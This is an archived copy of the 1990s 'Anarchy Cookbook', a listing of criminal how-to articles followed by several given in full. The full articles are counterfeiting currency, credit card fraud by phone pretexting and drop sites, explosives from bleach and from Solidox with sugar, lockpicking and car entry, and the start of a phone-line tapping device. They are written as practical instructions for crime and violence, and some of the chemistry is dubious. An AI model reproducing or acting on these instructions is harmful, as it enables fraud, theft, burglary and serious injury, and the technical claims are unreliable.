home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersguides-&-software / anarch.zip / ANAR666.DOC
Text File  |  1995-03-13  |  841KB  |  19,768 lines

  1.  
  2.  
  3.  
  4.             ANARCHY COOKBOOK v.666* By: Jolly Roger
  5. Merged/Converted to Clean ASCII Format By: THE HAND OF FATE (THOF)
  6.  
  7. [Table of Contents]
  8. Counterfeiting Money
  9. Credit Card Fraud
  10. Making Plastic Explosives from Bleach
  11. Picking Master Locks
  12. The Arts of Lockpicking I
  13. The Arts of Lockpicking II
  14. Solidox Bombs
  15. High Tech Revenge:  The Beigebox (NEW Revision 2.0)
  16. CO2 Bombs
  17. Thermite Bombs
  18. Touch Explosives
  19. Letter Bombs
  20. Paint Bombs
  21. Ways to send a car to HELL
  22. Do ya hate school?
  23. Phone related vandalism
  24. Highway police radar jamming
  25. Smoke Bombs
  26. Mail Box Bombs
  27. Hotwiring cars
  28. Napalm
  29. Fertilizer Bomb
  30. Tennis Ball Bomb
  31. Diskette Bombs
  32. Unlisted Phone Numbers
  33. Fuses
  34. How to make Potassium Nitrate
  35. Exploding Lightbulbs
  36. Under water igniters
  37. Home-brew blast cannon
  38. Chemical Equivalency List
  39. Phone Taps
  40. Landmines
  41. A different kind of Molitov Cocktail
  42. Phone Systems Tutorial I
  43. Phone Systems Tutorial II
  44. Basic Alliance Teleconferencing
  45. Aqua Box Plans
  46. Hindenberg Bomb
  47. How to Kill Someone with your Bare Hands
  48. Phone Systems Tutorial III
  49. Black Box Plans
  50. The Blotto Box
  51. Blowgun
  52. Brown Box Plans
  53. Calcium Carbide Bomb
  54. More Ways to Send a Car to Hell
  55. Ripping off Change Machines
  56. Clear Box Plans
  57. CNA Number Listing
  58. Electronic Terrorism
  59. How to Start a Conference w/o 2600hz or M-F
  60. Dynamite
  61. Auto Exhaust Flame Thower
  62.  
  63.  
  64. How to Break into BBs Express
  65. Firebomb
  66. Fuse Bomb
  67. Generic Bomb
  68. Green Box Plans
  69. Portable Grenade Launcher
  70. Basic Hacking Tutorial I
  71. Basic Hacking Tutorial II
  72. Hacking DEC's
  73. Harmless Bombs
  74. Breaking into Houses
  75. Hypnotism
  76. Remote Informer Issue #1
  77. Jackpotting ATM Machines
  78. Jug Bomb
  79. Fun at K-Mart
  80. Mace Substitute
  81. How to Grow Marijuana
  82. Match Head Bomb
  83. Terrorizing McDonalds
  84. "Mentor's" Last Words
  85. The Myth of the 2600hz Detector
  86. Blue Box Plans
  87. Napalm II
  88. Nitroglycerin Recipe
  89. Operation: Fuckup
  90. Stealing Calls from Payphones
  91. Pool Fun
  92. Free Postage
  93. Unstable Explosives
  94. Weird Drugs
  95. The Art of Carding
  96. Recognizing Credit Cards
  97. How to Get a New Identity
  98. Remote Informer Issue #2
  99. Remote Informer Issue #3
  100. Remote Informer Issue #4
  101. Remote Informer Issue #5
  102. Phreaker's Guide to Loop Lines
  103. Ma-Bell Tutorial
  104. Getting Money out of Pay Phones
  105. Computer-based PBX
  106. PC-Pursuit Port Statistics
  107. Pearl Box Plans
  108. The Phreak File
  109. Red Box Plans
  110. RemObS
  111. Scarlet Box Plans
  112. Silver Box Plans
  113. Bell Trashing
  114. Canadian WATS Phonebook
  115. Hacking TRW
  116. Hacking VAX & UNIX
  117. Verification Circuits
  118. White Box Plans
  119. The BLAST Box
  120. Dealing with the Rate & Route Operator
  121. Cellular Phone Phreaking
  122. Cheesebox Plans
  123. How to Start Your Own Conferences
  124.  
  125.  
  126. Gold Box Plans
  127. The History of ESS
  128. The Lunch Box
  129. Olive Box Plans
  130. The Tron Box
  131. More TRW Info
  132. "Phreaker's Phunhouse"
  133. Phrack Magazine - Vol. 3, Issue 27 (Intro to MIDNET)
  134. Phrack Magazine - Vol. 3, Issue 27 (The Making of a Hacker)
  135. Phrack Magazine - Vol. 3, Issue 28 (Network Miscellany)
  136. Phrack Magazine - Vol. 3, Issue 28 (Pearl Box Schematic)
  137. Phrack Magazine - Vol. 3, Issue 28 (Snarfing Remote Files)
  138. Phrack Magazine - Vol. 3, Issue 30 (Western Union, Telex,
  139.                                     TWX & Time Service)
  140. Phrack Magazine - Vol. 3, Issue 30 (Hacking & Tymnet)
  141. Phrack Magazine - Vol. 3, Issue 30 (The DECWRL Mail Gateway)
  142. Sodium Chlorate
  143. Mercury Fulminate
  144. Improvised Black Powder
  145. Nitric Acid
  146. Dust Bomb Instructions
  147. Carbon-Tet Explosive
  148. Making Picric Acid from Aspirin
  149. Reclamation of RDX from C-4 Explosives
  150. Egg-based Gelled Flame Fuels
  151. Clothespin Switch
  152. Flexible Plate Switch
  153. Low Signature Systems (Silencers)
  154. Delay Igniter From Cigarette
  155. Nicotine
  156. Dried Seed Timer
  157. Nail Grenade
  158. Bell Glossary
  159. Phone Dial Locks -- How to Beat'em
  160. Exchange Scanning
  161. A Short History of Phreaking
  162. "Secrets of the Little Blue Box" (story)
  163. The History of British Phreaking
  164. "Bad as Shit" (story)
  165. Telenet
  166. Fucking with the Operator
  167. Phrack Magazine - Vol. 1, Issue 1 (The Phone Preak's Guide)
  168. International Country Code Listing
  169. Infinity Transmitter Schematic and Plans
  170. LSD
  171. Bananas
  172. Yummy Marihuana Recipes
  173. Peanuts
  174. Chemical Fire Bottle
  175. Igniter from Book Matches
  176. "Red or White Powder" Propellant
  177. Pipe Hand Grenade
  178. European Credit Card Fraud (Written by Creditman! A
  179.                             Cookbook III Exclusive!!)
  180.  
  181.  
  182.  
  183.  
  184.  
  185.  
  186. ç█      █Counterfeiting Money                            by The Jolly Roger
  187.  
  188. Before reading this article, it would be a very good idea to get a book on
  189. photo offset printing, for this is the method used in
  190. counterfeiting US currency.  If you are familiar with this method
  191. of printing, counterfeiting should be a simple task for you.
  192.  
  193. Genuine currency is made by a process called "gravure", which
  194. involves etching a metal block.  Since etching a metal block is
  195. impossible to do by hand, photo offset printing comes into the
  196. process.
  197.  
  198. Photo offset printing starts by making negatives of the currency
  199. with a camera, and putting the negatives on a piece of masking
  200. material (usually orange in color).  The stripped negatives,
  201. commonly called "flats", are then exposed to a lithographic plate
  202. with an arc light plate maker.  The burned plates are then
  203. developed with the proper developing chemical.  One at a time,
  204. these plates are wrapped around the plate cylinder of the press.
  205.  
  206. The press to use should be an 11 by 14 offset, such as the AB Dick
  207. 360.  Make 2 negatives of the portrait side of the bill, and 1 of
  208. the back side.  After developing them and letting them dry, take
  209. them to a light table.  Using opaque on one of the portrait sides,
  210. touch out all the green, which is the seal and the serial numbers.
  211. The back side does not require any retouching, because it is all
  212. one color.  Now, make sure all of the negatives are registered
  213. (lined up correctly) on the flats.  By the way, every time you
  214. need another serial number, shoot 1 negative of the portrait side,
  215. cut out the serial number, and remove the old serial number from
  216. the flat replacing it with the new one.
  217.  
  218. Now you have all 3 flats, and each represents a different color:
  219. black, and 2 shades of green (the two shades of green are created
  220. by mixing inks).  Now you are ready to burn the plates.  Take a
  221. lithographic plate and etch three marks on it.  These marks must
  222. be 2 and 9/16 inches apart, starting on one of the short edges.
  223. Do the same thing to 2 more plates.  Then, take 1 of the flats and
  224. place it on the plate, exactly lining the short edge up with the
  225. edge of the plate.  Burn it, move it up to the next mark, and
  226. cover up the exposed area you have already burned.  Burn that, and
  227. do the same thing 2 more times, moving the flat up one more mark.
  228. Do the same process with the other 2 flats (each on a separate
  229. plate).  Develop all three plates.  You should now have 4 images
  230. on each plate with an equal space between each bill.
  231.  
  232. The paper you will need will not match exactly, but it will do for
  233. most situations.  The paper to use should have a 25% rag content.
  234. By the way, Disaperf computer paper (invisible perforation) does
  235. the job well.  Take the paper and load it into the press.  Be sure
  236. to set the air, buckle, and paper thickness right.  Start with the
  237. black plate (the plate without the serial numbers).  Wrap it
  238. around the cylinder and load black ink in.  Make sure you run more
  239. than you need because there will be a lot of rejects.  Then, while
  240. that is printing, mix the inks for the serial numbers and the back
  241. side.  You will need to add some white and maybe yellow to the
  242. serial number ink.  You also need to add black to the back side.
  243. Experiment until you get it right.  Now, clean the press and print
  244.  
  245.  
  246. the other side.  You will now have a bill with no green seal or
  247. serial numbers.  Print a few with one serial number, make another
  248. and repeat.  Keep doing this until you have as many different
  249. numbers as you want.  Then cut the bills to the exact size with a
  250. paper cutter.  You should have printed a large amount of money by
  251. now, but there is still one problem;  the paper is pure white.  To
  252. dye it, mix the following in a pan:  2 cups of hot water, 4 tea
  253. bags, and about 16 to 20 drops of green food coloring (experiment
  254. with this).  Dip one of the bills in and compare it to a genuine
  255. US bill.  Make the necessary adjustments, and dye all the bills.
  256. Also, it is a good idea to make them look used.  For example,
  257. wrinkle them, rub coffee grinds on them, etc.
  258.  
  259. As before mentioned, unless you are familiar with photo offset
  260. printing, most of the information in this article will be fairly
  261. hard to understand.  Along with getting a book on photo offset
  262. printing, try to see the movie "To Live and Die in LA".  It is
  263. about a counterfeiter, and the producer does a pretty good job of
  264. showing how to counterfeit.  A good book on the subject is "The
  265. Poor Man's James Bond".
  266.  
  267. If all of this seems too complicated to you, there is one other
  268. method available for counterfeiting:  The Canon color laser
  269. copier.  The Canon can replicate ANYTHING in vibrant color,
  270. including US currency.  But, once again, the main problem in
  271. counterfeiting is the paper used.  So, experiment, and good luck!
  272.                                              -Jolly Roger-
  273.  
  274.  
  275. Credit Card Fraud                brought to you by The Jolly Roger
  276.  
  277. For most of you out there, money is hard to come by.  Until now:
  278.  
  279. With the recent advent of plastic money (credit cards), it is
  280. easy to use someone else's credit card to order the items you have
  281. always desired in life.  The stakes are high, but the payoff is
  282. worth it.
  283.  
  284. Step One:  Getting the credit card information
  285.  
  286. First off, you must obtain the crucial item:  someone's credit
  287. card number.  The best way to get credit card numbers is to take
  288. the blue carbons used in a credit card transaction at your local
  289. department store.  These can usually be found in the garbage can
  290. next to the register, or for the more daring, in the garbage
  291. dumpster behind the store.  But, due to the large amount of credit
  292. card fraud, many stores have opted to use a carbonless transaction
  293. sheet, making things much more difficult.  This is where your
  294. phone comes in handy.
  295.  
  296. First, look up someone in the phone book, and obtain as much
  297. information as possible about them.  Then, during business hours,
  298. call in a very convincing voice - "Hello, this is John Doe from
  299. the Visa Credit Card Fraud Investigations Department.  We have
  300. been informed that your credit card may have been used for
  301. fraudulent purposes, so will you please read off the numbers
  302. appearing on your Visa card for verification."  Of course, use
  303. your imagination!  Believe it or not, many people will fall for
  304.  
  305.  
  306. this ploy and give out their credit information.
  307.  
  308. Now, assuming that you have your victim's credit card number, you
  309. should be able to decipher the information given.
  310.  
  311. Step Two:  Recognizing information from carbon copies
  312.  
  313. Card examples:
  314.  
  315. [American Express]
  316. XXXX XXXXXX XXXXX
  317. MM/Y1 THRU MM/Y2
  318. JOE SHMOE
  319.  
  320. [American Express]
  321. XXXX XXXXXX XXXXX
  322. MM/Y1 THRU MM/Y2
  323. JOE SHMOE
  324.  
  325. Explanation:
  326.    MM/Y1 is the date the card was issued, and MM/Y2 is the
  327.    expiration date.  The American Express Gold Card has numbers
  328.    XXXXXX XXXXXXXX XXXXXXXX, and is covered for up to $5000.00,
  329.    even if the card holder is broke.
  330.  
  331. [Mastercard]
  332. 5XXX XXXX XXXX XXXX
  333. XXXX AAA DD-MM-YY MM/YY
  334. JOE SHMOE
  335.  
  336. Explanation:
  337.    XXXX in the second row may be asked for during the ordering
  338.    process.  The first date is when the card was new, and the
  339.    second is when the card expires.  The most frequent number
  340.    combination used is 5424 1800 XXXX XXXX.  There are many of
  341.    these cards in circulation, but many of these are on wanted
  342.    lists, so check these first.
  343.  
  344. [Visa]
  345. 4XXX XXX(X) XXX(X) XXX(X)
  346. MM/YY    MM/YY*VISA
  347. JOE SHMOE
  348.  
  349. Explanation:
  350.    Visa is the most abundant card, and is accepted almost
  351.    everywhere.  The "*VISA" is sometimes replaced with "BWG", or
  352.    followed with a special code.  These codes are as follows:
  353.  
  354.    [1]  MM/YY*VISA V - Preferred Card
  355.    [2]  MM/YY*VISA CV - Classic Card
  356.    [3]  MM/YY*VISA PV - Premier Card
  357.  
  358.    Preferred Cards are backed with money, and are much safer to
  359.    use.  Classic Cards are newer, harder to reproduce cards with
  360.    decent backing.  Premier Cards are Classic Cards with Preferred
  361.    coverage.  Common numbers are 4448 020 XXX XXX, 4254 5123 6000
  362.    XXXX, and 4254 5123 8500 XXXX.  Any 4712 1250 XXXX XXXX cards
  363.    are IBM Credit Union cards, and are risky to use, although
  364.  
  365.  
  366.    they are usually covered for large purchases.
  367.  
  368. Step Three:  Testing credit
  369.  
  370. You should now have a Visa, Mastercard, or American Express
  371. credit card number, with the victim's address, zip code, and phone
  372. number.  By the way, if you have problems getting the address,
  373. most phone companies offer the Address Tracking Service, which is
  374. a special number you call that will give you an address from a
  375. phone number, at a nominal charge.  Now you need to check the
  376. balance of credit on the credit card (to make sure you don't run
  377. out of money), and you must also make sure that the card isn't
  378. stolen.  To do this you must obtain a phone number that
  379. businesses use to check out credit cards during purchases.  If you
  380. go to a department store, watch the cashier when someone makes a
  381. credit card purchase.  He/she will usually call a phone number,
  382. give the credit information, and then give what is called a
  383. "Merchant Number".  These numbers are usually written down on or
  384. around the register.  It is easy to either find these numbers and
  385. copy them, or to wait until they call one in.  Watch what they
  386. dial and wait for the 8 digit (usually) merchant number.  Once you
  387. call the number, in a calm voice, read off the account number,
  388. merchant number, amount, and expiration date.  The credit bureau
  389. will tell you if it is ok, and will give you an authorization
  390. number.  Pretend you are writing this number down, and repeat it
  391. back to them to check it.  Ignore this number completely, for it
  392. serves no real purpose.  However, once you do this, the bank
  393. removes dollars equal to what you told them, because the card was
  394. supposedly used to make a purchase.  Sometimes you can trick the
  395. operator by telling her the customer changed his mind and decided
  396. not to charge it.  Of course, some will not allow this.  Remember
  397. at all times that you are supposed to be a store clerk calling to
  398. check out the card for a purchase.  Act like you are talking with
  399. a customer when he/she "cancels".
  400.  
  401. Step Four:  The drop
  402.  
  403. Once the cards are cleared, you must find a place to have the
  404. package sent.  NEVER use a drop more than once.  The following are
  405. typical drop sites:
  406.  
  407.    [1]  An empty house
  408.  
  409. An empty house makes an excellent place to send things.  Send the
  410. package UPS, and leave a note on the door saying, "UPS.  I work
  411. days, 8 to 6.  Could you please leave the package on the back door
  412. step?"  You can find dozens of houses from a real estate agent by
  413. telling them you want to look around for a house.  Ask for a list
  414. of twenty houses for sale, and tell them you will check out the
  415. area.  Do so, until you find one that suits your needs.
  416.  
  417.    [2]  Rent A Spot
  418.  
  419. U-Haul sometimes rents spaces where you can have packages sent and
  420. signed for.  End your space when the package arrives.
  421.  
  422.    [3]  People's houses
  423.  
  424.  
  425.  
  426. Find someone you do not know, and have the package sent there.
  427. Call ahead saying that "I called the store and they sent the
  428. package to the wrong address.  It was already sent, but can you
  429. keep it there for me?"  This is a very reliable way if you keep
  430. calm when talking to the people.
  431.  
  432. Do NOT try post office boxes.  Most of the time, UPS will not
  433. deliver to a post office box, and many people have been caught in
  434. the past attempting to use a post office box.  Also, when you have
  435. determined a drop site, keep an eye on it for suspicious
  436. characters and cars that have not been there before.
  437.  
  438. Step Five:  Making the transaction
  439.  
  440. You should now have a reliable credit card number with all the
  441. necessary billing information, and a good drop site.
  442.  
  443. The best place to order from is catalogues, and mail order houses.
  444. It is in your best interest to place the phone call from a pay
  445. phone, especially if it is a 1-800 number.  Now, when you call,
  446. don't try to disguise your voice, thinking you will trick the
  447. salesperson into believing you are an adult.  These folks are
  448. trained to detect this, so your best bet is to order in your own
  449. voice.  They will ask for the following:  name, name as it appears
  450. on card, phone number, billing address, expiration date, method of
  451. shipping, and product.  Ask if they offer UPS Red shipping (next
  452. day arrival), because it gives them less time to research an
  453. order.  If you are using American Express, you might have a bit of
  454. a problem shipping to an address other than the billing address.
  455. Also, if the salesperson starts to ask questions, do NOT hang up.
  456. Simply talk your way out of the situation, so you won't encourage
  457. investigation on the order.
  458.  
  459. If everything goes right, you should have the product, free of
  460. charge.  Insurance picks up the tab, and no one is any wiser.  Be
  461. careful, and try not to order anything over $500.  In some states,
  462. UPS requires a signature for anything over $200, not to mention
  463. that anything over $200 is defined as grand theft, as well as
  464. credit fraud.  Get caught doing this, and you will bite it for a
  465. couple of years.  Good luck!
  466. Making Plastic Explosives from Bleach           by The Jolly Roger
  467.  
  468. Potassium chlorate is an extremely volatile explosive compound,
  469. and has been used in the past as the main explosive filler in
  470. grenades, land mines, and mortar rounds by such countries as
  471. France and Germany.  Common household bleach contains a small
  472. amount of potassium chlorate, which can be extracted by the
  473. procedure that follows.
  474.  
  475. First off, you must obtain:
  476.  
  477. [1]  A heat source (hot plate, stove, etc.)
  478. [2]  A hydrometer, or battery hydrometer
  479. [3]  A large Pyrex, or enameled steel container (to weigh
  480.      chemicals)
  481. [4]  Potassium chloride (sold as a salt substitute at health and
  482.      nutrition stores)
  483.  
  484.  
  485.  
  486. Take one gallon of bleach, place it in the container, and begin
  487. heating it.  While this solution heats, weigh out 63 grams of
  488. potassium chloride and add this to the bleach being heated.
  489. Constantly check the solution being heated with the hydrometer,
  490. and boil until you get a reading of 1.3.  If using a battery
  491. hydrometer, boil until you read a FULL charge.
  492.  
  493. Take the solution and allow it to cool in a refrigerator until it
  494. is between room temperature and 0 degrees Celcius.  Filter out the
  495. crystals that have formed and save them.  Boil this solution again
  496. and cool as before.  Filter and save the crystals.
  497.  
  498. Take the crystals that have been saved, and mix them with
  499. distilled water in the following proportions:  56 grams per 100
  500. milliliters distilled water.  Heat this solution until it boils
  501. and allow to cool.  Filter the solution and save the crystals that
  502. form upon cooling.  This process of purification is called
  503. "fractional crystalization".  These crystals should be relatively
  504. pure potassium chlorate.
  505.  
  506. Powder these to the consistency of face powder, and heat gently to
  507. drive off all moisture.
  508.  
  509. Now, melt five parts Vaseline with five parts wax.  Dissolve this
  510. in white gasoline (camp stove gasoline), and pour this liquid on
  511. 90 parts potassium chlorate (the powdered crystals from above)
  512. into a plastic bowl.  Knead this liquid into the potassium
  513. chlorate until intimately mixed.  Allow all gasoline to evaporate.
  514.  
  515. Finally, place this explosive into a cool, dry place.  Avoid
  516. friction, sulfur, sulfides, and phosphorous compounds.  This
  517. explosive is best molded to the desired shape and density of 1.3
  518. grams in a cube and dipped in wax until water proof.  These block
  519. type charges guarantee the highest detonation velocity.  Also, a
  520. blasting cap of at least a 3 grade must be used.
  521.  
  522. The presence of the afore mentioned compounds (sulfur, sulfides,
  523. etc.) results in mixtures that are or can become highly sensitive
  524. and will possibly decompose explosively while in storage.  You
  525. should never store homemade explosives, and you must use EXTREME
  526. caution at all times while performing the processes in this
  527. article.
  528.  
  529. You may obtain a catalog of other subject of this nature by
  530. writing:
  531.  
  532.      Information Publishing Co.
  533.      Box 10042
  534.      Odessa, Texas  79762
  535.  
  536. Picking Master Locks                            by The Jolly Roger
  537.  
  538. Have you ever tried to impress someone by picking one of those
  539. Master combination locks and failed?
  540.  
  541. The Master lock company made their older combination locks with a
  542. protection scheme.  If you pull the handle too hard, the knob will
  543. not turn.  That was their biggest mistake.
  544.  
  545.  
  546. çThe first number:
  547.  
  548. Get out any of the Master locks so you know what is going on.
  549. While pulling on the clasp (part that springs open when you get
  550. the combination right), turn the knob to the left until it will
  551. not move any more, and add five to the number you reach.  You now
  552. have the first number of the combination.
  553.  
  554. The second number:
  555.  
  556. Spin the dial around a couple of times, then go to the first
  557. number you got.  Turn the dial to the right, bypassing the first
  558. number once.  When you have bypassed the first number, start
  559. pulling on the clasp and turning the knob.  The knob will
  560. eventually fall into the groove and lock.  While in the groove,
  561. pull the clasp and turn the knob.  If the knob is loose, go to the
  562. next groove, if the knob is stiff, you have the second number of
  563. the combination.
  564.  
  565. The third number:
  566.  
  567. After getting the second number, spin the dial, then enter the two
  568. numbers.  Slowly spin the dial to the right, and at each number,
  569. pull on the clasp.  The lock will eventually open if you did the
  570. process right.
  571.  
  572. This method of opening Master locks only works on older models.
  573. Someone informed Master of their mistake, and they employed a new
  574. mechanism that is foolproof (for now).
  575.  
  576. The Arts of Lockpicking I              courtesy of The Jolly Roger
  577.  
  578. Lockpicking I:  Cars and assorted other locks
  579.  
  580. While the basic themes of lockpicking and uninvited entry have not
  581. changed much in the last few years, some modern devices and
  582. techniques have appeared on the scene.
  583.  
  584. Automobiles:
  585.  
  586. Many older automobiles can still be opened with a Slim Jim type of
  587. opener (these and other auto locksmithing techniques are covered
  588. fully in the book "In the Still of the Night", by John Russell
  589. III);  however, many car manufacturers have built cases over the
  590. lock mechanism, or have moved the lock mechanism so the Slim Jim
  591. will not work.  So:
  592.  
  593. American Locksmith Service
  594. P.O. Box 26
  595. Culver City, CA  90230
  596.  
  597. ALS offers a new and improved Slim Jim that is 30 inches long and
  598. 3/4 inches wide, so it will both reach and slip through the new
  599. car lock covers (inside the door).  Price is $5.75 plus $2.00
  600. postage and handling.
  601.  
  602. Cars manufactured by General Motors have always been a bane to
  603. people who needed to open them, because the sidebar locking unit
  604.  
  605.  
  606. they employ is very difficult to pick.  To further complicate
  607. matters, the new GM cars employ metal shields to make the use of a
  608. Slim Jim type instrument very difficult.  So:
  609.  
  610. Lock Technology Corporation
  611. 685 Main St.
  612. New Rochelle, NY  10801
  613.  
  614. LTC offers a cute little tool which will easily remove the lock
  615. cylinder without harm to the vehicle, and will allow you to enter
  616. and/or start the vehicle.  The GMC-40 sells for $56.00 plus $2.00
  617. for postage and handling.
  618.  
  619. The best general automobile opening kit is probably a set of
  620. lockout tools offered by:
  621.  
  622. Steck MFG Corporation
  623. 1319 W. Stewart St.
  624. Dayton, OH  45408
  625.  
  626. For $29.95 one can purchase a complete set of six carbon lockout
  627. tools that will open more than 95% of all the cars around.
  628.  
  629. Kwickset locks have become quite popular as one step security
  630. locks for many types of buildings.  They are a bit harder to pick
  631. and offer a higher degree of security than a normal builder
  632. installed door lock.  So:
  633.  
  634. A MFG
  635. 1151 Wallace St.
  636. Massilon, OH  44646
  637.  
  638. Price is $11.95.  Kwickset locks can handily be disassembled and
  639. the door opened without harm to either the lock or the door by
  640. using the above mentioned Kwick Out tool.
  641.  
  642. If you are too lazy to pick auto locks:
  643.  
  644. Veehof Supply
  645. Box 361
  646. Storm Lake, IO  50588
  647.  
  648. VS sells tryout keys for most cars (tryout keys are used since
  649. there is no one master key for any one make of car, but there are
  650. group type masters (a.k.a. tryout keys).  Prices average about
  651. $20.00 a set.
  652.  
  653. Updated Lockpicking:
  654.  
  655. For years, there have been a number of pick attack procedures for
  656. most pin and tumbler lock systems.  In reverse order of ease they
  657. are as follows:
  658.  
  659. Normal Picking:  Using a pick set to align the pins, one by one,
  660.                  until the shear line is set and the lock opens.
  661.  
  662. Racking:  This method uses picks that are constructed with a
  663.           series of bumps, or diamond shape notches.  These picks
  664.  
  665.  
  666.           are "raked" (i.e. run over all the pins at one time).
  667.           With luck, the pins will raise in the open position and
  668.           stay there.  Raking, if successful, can be much less of
  669.           an effort than standard picking.
  670.  
  671. Lock Aid Gun:  This gun shaped device was invented a number of
  672.                years ago and has found application with many
  673.                locksmiths and security personnel.  Basically, a
  674.                needle shaped pick is inserted in the snout of the
  675.                "gun", and the "trigger" is pulled.  This action
  676.                snaps the pick up and down strongly.  If the tip is
  677.                slipped under the pins, they will also be snapped
  678.                up and down strongly.  With a bit of luck they will
  679.                strike each other and separate at the shear line
  680.                for a split second.  When this happens the lock
  681.                will open.  The lock aid gun is not 100%
  682.                successful, but when it does work, the results are
  683.                very dramatic.  You can sometimes open the lock
  684.                with one snap of the trigger.
  685.  
  686. Vibrator:  Some crafty people have mounted a needle pick into an
  687.            electric toothbrush power unit.  This vibrating effect
  688.            will sometimes open pin tumbler locks -- instantly.
  689.  
  690. There is now another method to open pin and wafer locks in a very
  691. short time.  Although it resembles a toothbrush pick in
  692. appearance, it is actually an electronic device.  I am speaking of
  693. the Cobra pick that is designed and sold by:
  694.  
  695. Fed Corporation
  696. P.O. Box 569
  697. Scottsdale, AR  85252
  698.  
  699. The Cobra uses two nine volt batteries, teflon bearings (for less
  700. noise), and a cam roller.  It comes with three picks (for
  701. different types of locks) and works both in America and overseas,
  702. on pin or wafer locks.  The Cobra will open group one locks
  703. (common door locks) in three to seven seconds with no damage, in
  704. the hands of an experienced locksmith.  It can take a few seconds
  705. more or up to a half a minute for someone with no experience at
  706. all.  It will also open group two locks (including government,
  707. high security, and medecos), although this can take a short time
  708. longer.  It will not open GM sidear locks, although a device is
  709. about to be introduced to fill that gap.  How much for this toy
  710. that will open most locks in seven seconds?
  711.  
  712. $235.00 plus $4.00 shipping and handling.
  713.  
  714. For you hard core safe crackers, FC also sells the MI-6 that will
  715. open most safes at a cost of $10,000 for the three wheel attack
  716. model, and $10,500 for the four wheel model.  It comes in a sturdy
  717. aluminum carrying case with monitor, disk drive and software.
  718.  
  719. If none of these safe and sane ideas appeal to you, you can always
  720. fall back on the magic thermal lance...
  721.  
  722. The thermal lance is a rather crude instrument constructed from
  723. 3/8 inch hollow magnesium rods.  Each tube comes in a 10 foot
  724.  
  725.  
  726. length, but can be cut down if desired.  Each one is threaded on
  727. one end.  To use the lance, you screw the tube together with a
  728. matted regulator (like a welding outfit uses) and hook up an
  729. oxygen tank.  Then oxygen is turned on and the rod is lit with a
  730. standard welding ignitor.  The device produces an incredible
  731. amount of heat.  It is used for cutting up concrete blocks or even
  732. rocks.  An active lance will go through a foot of steel in a few
  733. seconds.  The lance is also known as a burning bar, and is
  734. available from:
  735.  
  736. C.O.L. MFG
  737. 7748 W. Addison
  738. Chicago, IL  60634
  739. The Arts of Lockpicking II             courtesy of The Jolly Roger
  740.  
  741. So you want to be a criminal.  Well, if you want to be like James
  742. Bond and open a lock in fifteen seconds, then go to Hollywood,
  743. because that is the only place you are ever going to do it.  Even
  744. experienced locksmiths can spend five to ten minutes on a lock if
  745. they are unlucky.  If you are wanting extremely quick access, look
  746. elsewhere.  The following instructions will pertain mostly to the
  747. "lock in knob" type lock, since it is the easiest to pick.
  748.  
  749. First of all, you need a pick set.  If you know a locksmith, get
  750. him to make you a set.  This will be the best possible set for you
  751. to use.  If you find a locksmith unwilling to supply a set, don't
  752. give up hope.  It is possible to make your own, if you have access
  753. to a grinder (you can use a file, but it takes forever).
  754.  
  755. The thing you need is an allen wrench set (very small).  These
  756. should be small enough to fit into the keyhole slot.  Now, bend
  757. the long end of the allen wrench at a slight angle (not 90
  758. degrees).  Now, take your pick to a grinder or a file, and smooth
  759. the end until it is rounded so it won't hang inside the lock.
  760. Test your tool out on doorknobs at your house to see if it will
  761. slide in and out smoothly.  Now, this is where the screwdriver
  762. comes in.  It must be small enough for it and your pick to be used
  763. in the same lock at the same time, one above the other.  In the
  764. coming instructions, please refer to this chart of the interior of
  765. a lock:
  766. ______________________________
  767.                               \ K
  768.         |  |  |  |   |   |    / E
  769.            |     |   |   |    \ Y           [|]  Upper tumbler pin
  770.         ^     ^               / H           [^]  Lower tumbler pin
  771.         ^  ^  ^  ^   ^   ^    \ O           [-]  Cylinder wall
  772.                               / L   (This is a greatly simplified
  773.                               \ E    drawing)
  774. ______________________________/
  775.  
  776. The object is to press the pin up so that the space between the
  777. upper pin and the lower pin is level with the cylinder wall.  Now,
  778. if you push a pin up, it's tendency is to fall back down, right?
  779. That is where the screwdriver comes in.  Insert the screwdriver
  780. into the slot and turn.  This tension will keep the "solved" pins
  781. from falling back down.  Now, work from the back of the lock to
  782. the front, and when you are through, there will be a click, the
  783. screwdriver will turn freely, and the door will open.
  784.  
  785.  
  786. çDo not get discouraged on your first try!  It will probably take
  787. you about twenty to thirty minutes your first time.  After that,
  788. you will quickly improve with practice.
  789. Solidox Bombs                                   by The Jolly Roger
  790.  
  791. Most people are not aware that a volatile, extremely explosive
  792. chemical can be bought over the counter:  Solidox.
  793.  
  794. Solidox comes in an aluminum can containing 6 grey sticks, and can
  795. be bought at Kmart, and various hardware supply shops for around
  796. $7.00.  Solidox is used in welding applications as an oxidizing
  797. agent for the hot flame needed to melt metal.  The most active
  798. ingredient in Solidox is potassium chlorate, a filler used in many
  799. military applications in the WWII era.
  800.  
  801. Since Solidox is literally what the name says:  SOLID OXygen, you
  802. must have an energy source for an explosion.  The most common and
  803. readily available energy source is common household sugar, or
  804. sucrose.  In theory, glucose would be the purest energy source,
  805. but it is hard to find a solid supply of glucose.
  806.  
  807. Making the mixture:
  808.  
  809. [1]  Open the can of Solidox, and remove all 6 sticks.  One by
  810.      one, grind up each of the sticks (preferably with a mortar
  811.      and pestle) into the finest powder possible.
  812. [2]  The ratio for mixing the sugar with the Solidox is 1:1, so
  813.      weigh the Solidox powder, and grind up the equivalent amount
  814.      of sugar.
  815. [3]  Mix equivalent amounts of Solidox powder, and sugar in a 1:1
  816.      ratio.
  817.  
  818. It is just that simple!  You now have an extremely powerful
  819. substance that can be used in a variety of applications.  A word
  820. of caution:  be EXTREMELY careful in the entire process.  Avoid
  821. friction, heat, and flame.  A few years back, a teenager I knew
  822. blew 4 fingers off while trying to make a pipe bomb with Solidox.
  823. You have been warned!
  824. High Tech Revenge: The Beigebox  rev.2          by The Jolly Roger
  825.  
  826.              -------------Introduction-------------
  827. Have you ever wanted a lineman's handset? Surely every phreak has at
  828. least once considered the phun that he could have with one. After searching
  829. unlocked phone company trucks for months, we had an idea. We could build
  830. one. We did, and named it the "Beige Box" simply because that is the color
  831. of ours.
  832. The beigebox is simply a consumer lineman's handset, which is a
  833. phone that can be attached to the outside of a person's house.  To
  834. fabricate a beigebox, follow along.
  835.  
  836.              ---------Construction and Use---------
  837. The construction is very simple. First you must understand the concept of
  838. the device. In a modular jack, there are four wires. These are red, green,
  839. yellow, and black. For a single line telephone, however, only two matter:
  840. the red (ring) and green (tip). The yellow and the black are not neccessary
  841. for this project. A lineman's handset has two clips on it: the ring and
  842. the tip. Take a modular jack and look at the bottom of it's casing. There
  843. should be a grey jack with four wires  (red, green, yellow & black)
